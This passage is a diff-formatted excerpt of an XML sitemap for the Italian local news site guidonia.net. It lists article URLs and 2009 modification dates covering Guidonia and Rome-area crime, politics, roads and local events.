+	<url>
+		<loc>http://www.guidonia.net/wp/incidenti-stradali-scontro-tra-auto-vicino-roma-3-morti-gazzetta-di-parma.html</loc>
+		<lastmod>2009-05-23T08:16:04+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/una-ragazza-e-in-gravi-condizioni-il-messaggero.html</loc>
+		<lastmod>2009-05-23T07:57:17+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-3-morti-in-incidente-stradale-tgcom.html</loc>
+		<lastmod>2009-05-23T07:51:25+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/italia-roma-storie-di-proibizionismo-bambini-di-10-anni-aduc-droghe.html</loc>
+		<lastmod>2009-05-23T07:34:10+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/droga-sotto-i-balconi-gomorra-a-san-basilio-il-tempo.html</loc>
+		<lastmod>2009-05-23T04:10:57+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/droga-san-basilio-come-scampia-vedette-minorenni-presi-9-spaccatori-il-messaggero.html</loc>
+		<lastmod>2009-05-22T17:36:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/sequestrati-10-kg-di-haschish-e-sgominata-unassociazione-a-italia-chiama-italia.html</loc>
+		<lastmod>2009-05-22T15:05:45+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/vedette-di-10-anni-per-i-pusher-corriere-della-sera.html</loc>
+		<lastmod>2009-05-22T14:48:49+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/bimbi-in-prima-linea-per-il-parco.html</loc>
+		<lastmod>2009-05-22T14:05:09+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-montecelio-garberini-pagano-scelta-di-buon-senso-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-22T13:09:52+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/operazione-antidroga-a-roma-nove-persone-in-manette-siciliainformazionicom.html</loc>
+		<lastmod>2009-05-22T11:16:36+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-guidonia-pagano-unico-candidato-inadeguato-e-lombardo-il-velino.html</loc>
+		<lastmod>2009-05-22T10:02:49+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-segreto-della-classica-modernita-il-giornale.html</loc>
+		<lastmod>2009-05-22T05:25:23+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-montecelio-lippiello-invito-a-pugile-orlando-e-per-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-21T13:02:34+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/attraverso-i-miei-occhi-di-nicoletta-curradi-il-reporter.html</loc>
+		<lastmod>2009-05-21T08:35:43+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/flusso-atlantico-tenuto-a-bada-dallalta-pressione-sole-e-caldo-meteo-giornale.html</loc>
+		<lastmod>2009-05-20T17:49:55+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/a-guidonia-la-selezione-dei-futuri-commissari-del-corpo-forestale-aeronautica-militare.html</loc>
+		<lastmod>2009-05-20T11:17:56+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/biancamano-vola-a-piazza-affari-dopo-vittoria-appalto-nel-lazio-la-repubblica.html</loc>
+		<lastmod>2009-05-20T09:44:55+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/biancamano-appalto-nel-lazio-da-38-mln-ilnuovomercatoit.html</loc>
+		<lastmod>2009-05-20T09:17:38+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/per-biancamano-colpo-da-38-milioni-milano-finanza.html</loc>
+		<lastmod>2009-05-20T08:10:24+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/biancamano-vinto-contratto-nel-lazio-da-38-mln-finanzaonlinecom.html</loc>
+		<lastmod>2009-05-20T07:38:23+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/la-laurentina-raddoppia-nel-2010-nuova-viabilita-il-tempo.html</loc>
+		<lastmod>2009-05-20T07:30:31+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/biancamano-vince-commessa-da-38-milioni-euro-nel-lazio-reuters-italia.html</loc>
+		<lastmod>2009-05-20T07:25:16+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/biancamano-si-aggiudica-appalto-nel-lazio-la-repubblica.html</loc>
+		<lastmod>2009-05-20T07:14:59+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/a-tu-per-tu-con-i-candidati-sindaco.html</loc>
+		<lastmod>2009-05-20T01:13:25+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/a-proposito-di-migranti.html</loc>
+		<lastmod>2009-05-20T01:12:55+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lena-e-marrazzo-tagliano-il-nastro-a-largo-cesira-fiori-romanotizie-news-ed-eventi-da-roma-e-suoi-municipi.html</loc>
+		<lastmod>2009-05-19T19:22:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/cro-tivoli-cc-arrestano-spacciatore-con-200-grammi-di-hashish-il-velino.html</loc>
+		<lastmod>2009-05-19T16:20:51+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/la-provincia-raddoppia-la-laurentina-ad-ottobre-i-primi-4-km-dopo-06blogit.html</loc>
+		<lastmod>2009-05-19T16:14:06+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-carabinieri-arrestano-giovane-spacciatore-libero-newsit.html</loc>
+		<lastmod>2009-05-19T16:05:33+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lavori-pubblici-abitare-a-roma.html</loc>
+		<lastmod>2009-05-18T15:00:53+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-montecelio-fiore-fn-presenta-candidatura-di-micheloni-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-18T13:26:39+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-montecelio-lippiello-a-leonetti-sue-accuse-sono-menzogne-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-18T12:31:22+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-montecelio-de-vincenzi-pd-tra-priorita-ce-quella-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-18T10:24:36+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-montecelio-pagano-udc-potenziare-organico-forze-dell-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-18T08:26:06+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/per-ricevere-le-nostre-notizie-nella-tua-e-mail-resport.html</loc>
+		<lastmod>2009-05-17T18:08:22+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-cecchino-spara-dalla-finestra-1-morto-8-feriti-romanotizie-news-ed-eventi-da-roma-e-suoi-municipi.html</loc>
+		<lastmod>2009-05-16T16:13:30+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-slitta-di-due-anni-riqualificazione-lavoratori-del-romanotizie-news-ed-eventi-da-roma-e-suoi-municipi.html</loc>
+		<lastmod>2009-05-16T15:51:41+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-controlli-carabinieri-contro-lavoro-nero-5-arresti-e-47-libero-newsit.html</loc>
+		<lastmod>2009-05-16T08:45:22+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/mobilita-ora-il-raddoppio-della-tiburtina-diventa-realta-il-giornale.html</loc>
+		<lastmod>2009-05-16T05:03:55+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-agenda-politicagli-appuntamenti-del-giorno-il-velino.html</loc>
+		<lastmod>2009-05-16T04:55:18+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/umbria-musei-aperti-festa-a-palazzo-trinci-di-foligno-unonotizieit.html</loc>
+		<lastmod>2009-05-15T23:18:29+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-montecelio-de-vincenzi-pd-lippiello-non-e-candidato-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-15T19:01:05+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/le-cinque-ambizioni-della-roma-del-futuro-abitare-a-roma.html</loc>
+		<lastmod>2009-05-15T18:20:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-montecelio-lippiello-tra-priorita-ce-raddoppio-di-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-15T17:14:41+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-montecelio-si-chiude-domani-corso-di-comunicazione-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-15T17:02:13+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/i-vincitori-del-6%c2%b0-concorso-di-alboscuole-abitare-a-roma.html</loc>
+		<lastmod>2009-05-15T11:20:00+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/alemanno-stadio-lazio-sulla-tiberina-cinque-diverse-ipotesi-per-il-messaggero.html</loc>
+		<lastmod>2009-05-15T10:55:11+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-montecelio-in-1500-allincontro-organizzato-dalludc-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-15T10:45:08+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/sicurezza-legambiente-no-a-ronde-e-no-al-reato-di-clandestinita-unonotizieit.html</loc>
+		<lastmod>2009-05-15T07:27:25+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/la-monnezza-come-ti-risolvo-il-problema.html</loc>
+		<lastmod>2009-05-15T06:59:56+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-un-territorio-alla-deriva-lo-sfacelo-del-comune-laziale.html</loc>
+		<lastmod>2009-05-15T06:59:08+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lavoro-nero-e-caporalato-blitz-dei-carabinieri-il-tempo.html</loc>
+		<lastmod>2009-05-15T03:59:47+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/i-tifosi-nerazzurri-pronti-alla-mobilitazione-per-monterotondo-civonline.html</loc>
+		<lastmod>2009-05-14T18:38:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/musei-aperti-festa-a-palazzo-trinci-di-foligno-unonotizieit.html</loc>
+		<lastmod>2009-05-14T16:54:52+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/%c2%b7-indebitamento-finanziario-netto-di-86099-milioni-di-euro-era-lamiafinanza.html</loc>
+		<lastmod>2009-05-14T11:22:49+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-agenda-politica-gli-appuntamenti-del-giorno-il-velino.html</loc>
+		<lastmod>2009-05-14T06:41:34+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-devoluto-in-beneficenza-carburante-trovato-polizia-di-tivoli-libero-newsit.html</loc>
+		<lastmod>2009-05-13T15:21:59+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/amministrative-comune-di-guidonia-apertura-campagna-elettorale-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-13T14:36:07+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-stalking-in-chiave-omo-notiziegayit.html</loc>
+		<lastmod>2009-05-13T12:14:18+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-domani-incontro-con-ludc-di-montecelio-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-13T10:07:33+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-donato-in-beneficienza-carburante-rubato-rinvenuto-in-furgone-asca.html</loc>
+		<lastmod>2009-05-13T09:55:31+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/leducazione-stradale-arriva-con-il-%e2%80%9cparco-scuola-mobile%e2%80%9d-la-tecnica-della-scuola.html</loc>
+		<lastmod>2009-05-12T21:16:33+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/velature-sul-nord-con-sporadici-temporali-sulle-alpi-primi-30-meteo-giornale.html</loc>
+		<lastmod>2009-05-12T18:26:32+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-in-fiamme-deposito-vicino-a-car-3-compattatori-distrutti-il-giornale.html</loc>
+		<lastmod>2009-05-12T17:56:38+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/incendio-vicino-al-car-di-guidonia-distrutto-deposito-di-romauno.html</loc>
+		<lastmod>2009-05-12T16:42:27+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-in-fiamme-deposito-vicino-a-car-3-compattatori-distrutti-la-repubblica.html</loc>
+		<lastmod>2009-05-12T16:33:02+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/trafficanti-restauratori-e-insospettabili-ecco-i-predatori-dell-il-messaggero.html</loc>
+		<lastmod>2009-05-12T14:53:11+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-guidonia-rubeis-pdl-compatto-contro-i-tre-pezzi-del-pd-il-velino.html</loc>
+		<lastmod>2009-05-12T13:53:28+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-competitivita-e-lungo-periodo-gli-%e2%80%9cavvisi%e2%80%9d-di-marzano-il-velino.html</loc>
+		<lastmod>2009-05-12T13:47:01+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/aeronautica-militare-il-comando-squadra-aerea-festeggia-il-aeronautica-militare.html</loc>
+		<lastmod>2009-05-12T13:40:07+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/infrastrutture-ciucci-nel-lazio-investimenti-anas-per-79-mld-4-libero-newsit.html</loc>
+		<lastmod>2009-05-12T10:25:29+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/anas-pietro-ciucci-nel-lazio-investimenti-in-corso-o-ontusciait.html</loc>
+		<lastmod>2009-05-12T09:40:17+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/non-e-giusto-chiamare-razzismo-la-violenza-e-il-sentimento-dell-il-secolo-xix.html</loc>
+		<lastmod>2009-05-11T20:18:05+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-un-territorio-alla-deriva-lo-sfacelo-del-comune-laziale-agoravox-italia.html</loc>
+		<lastmod>2009-05-11T07:15:28+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/immigrati-legambiente-in-piazza-con-bambini-per-integrazione-diritto-oggi.html</loc>
+		<lastmod>2009-05-11T07:02:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/immigrati-legambiente-in-piazza-con-bambini-per-integrazione-agi-agenzia-giornalistica-italia.html</loc>
+		<lastmod>2009-05-10T15:34:39+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/sicurezza-legambiente-no-alle-ronde-e-no-al-reato-di-clandestinita-unonotizieit.html</loc>
+		<lastmod>2009-05-10T12:55:40+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/tir-ribaltato-traffico-in-tilt-per-4-ore-lameziawebbiz.html</loc>
+		<lastmod>2009-05-10T05:56:31+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-stiffoni-ln-lega-nord-lazio-non-partecipera-elezioni-libero-newsit.html</loc>
+		<lastmod>2009-05-09T19:40:39+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-legambiente-al-via-domani-100-strade-per-giocare-2-libero-newsit.html</loc>
+		<lastmod>2009-05-09T18:02:53+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/la-spesa-come-a-bucarest-il-manifesto-abbonamento.html</loc>
+		<lastmod>2009-05-09T05:51:02+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/apertura-di-cinzia-gubbini-roma-il-manifesto-abbonamento.html</loc>
+		<lastmod>2009-05-09T05:46:10+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/in-citta-100-strade-per-giocare-il-giornale.html</loc>
+		<lastmod>2009-05-09T05:03:06+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/minori-gdf-sostiene-iniziativa-per-casa-famiglia-a-guidonia-il-riformista.html</loc>
+		<lastmod>2009-05-08T17:15:17+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/minori-gdf-sostiene-iniziativa-per-casa-famiglia-a-guidonia-libero-newsit.html</loc>
+		<lastmod>2009-05-08T17:00:55+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-blitz-carabinieri-contro-abusivismo-commerciale-tre-arresti-libero-newsit.html</loc>
+		<lastmod>2009-05-08T16:21:57+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-guidonia-comunicazione-e-politica-incontro-udc-pd-il-velino.html</loc>
+		<lastmod>2009-05-08T13:18:16+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/cro-tivoli-vendita-di-cd-e-dvd-contraffatti-3-arresti-il-velino.html</loc>
+		<lastmod>2009-05-08T12:58:22+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/calvario-nei-pronto-soccorso-il-messaggero.html</loc>
+		<lastmod>2009-05-08T10:51:02+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-provincia-al-via-ad-anguillara-giornate-sicurezza-stradale-sicurautoit.html</loc>
+		<lastmod>2009-05-07T19:06:27+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-provincia-roma-apre-7-centri-difesa-cittadino-consumatore-wall-street-italia.html</loc>
+		<lastmod>2009-05-07T18:24:54+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-comune-9-maggio-manifestazione-silenzioisa-a-guidonia-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-07T15:48:21+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/manifestazione-protesta-silenziosa-davanti-alla-caserma-dei-unonotizieit.html</loc>
+		<lastmod>2009-05-07T15:47:48+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-dalla-provincia-7-nuovi-centri-per-difesa-del-cittadino-libero-newsit.html</loc>
+		<lastmod>2009-05-07T12:42:31+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/amministrative-guidonia-montecelio-dc-soddisfatta-per-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-07T10:26:30+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-capitale-e-legge-dettagli-del-piano-e-rassegna-stampa-delle-romanotizie-news-ed-eventi-da-roma-e-suoi-municipi.html</loc>
+		<lastmod>2009-05-07T06:51:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/federalismo-ciocchetti-udc-roma-capitale-e-un-grande-bluff-libero-newsit.html</loc>
+		<lastmod>2009-05-06T17:27:51+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/europee-casini-inaugura-il-centro-per-centro-tour-wall-street-italia.html</loc>
+		<lastmod>2009-05-06T17:26:27+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/sicurezza-stradale-6-giornate-ad-anguillara-palestrina-unonotizieit.html</loc>
+		<lastmod>2009-05-06T17:01:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-provincia-al-via-ad-anguillara-giornate-sicurezza-stradale-2-libero-newsit.html</loc>
+		<lastmod>2009-05-06T15:24:23+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-anguillara-al-via-giornate-sicurezza-stradale-per-bambini-virgilio-notizie.html</loc>
+		<lastmod>2009-05-06T13:03:30+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-rapina-in-area-di-servizio-gra-polizia-arresta-pregiudicato-libero-newsit.html</loc>
+		<lastmod>2009-05-06T12:44:19+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-anguillara-al-via-giornate-sicurezza-stradale-per-bambini-wall-street-italia.html</loc>
+		<lastmod>2009-05-06T12:32:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/5e-di-sconto-allaquapiper-per-gli-associati-assointesa-informazioneit-comunicati-stampa-comunicati-stampa-2.html</loc>
+		<lastmod>2009-05-06T07:25:17+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/appello.html</loc>
+		<lastmod>2009-05-04T13:41:32+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/nessuna-delega-in-bianco.html</loc>
+		<lastmod>2009-05-02T12:53:52+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/a-tu-x-tu-con-i-candidati.html</loc>
+		<lastmod>2009-04-30T21:11:08+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
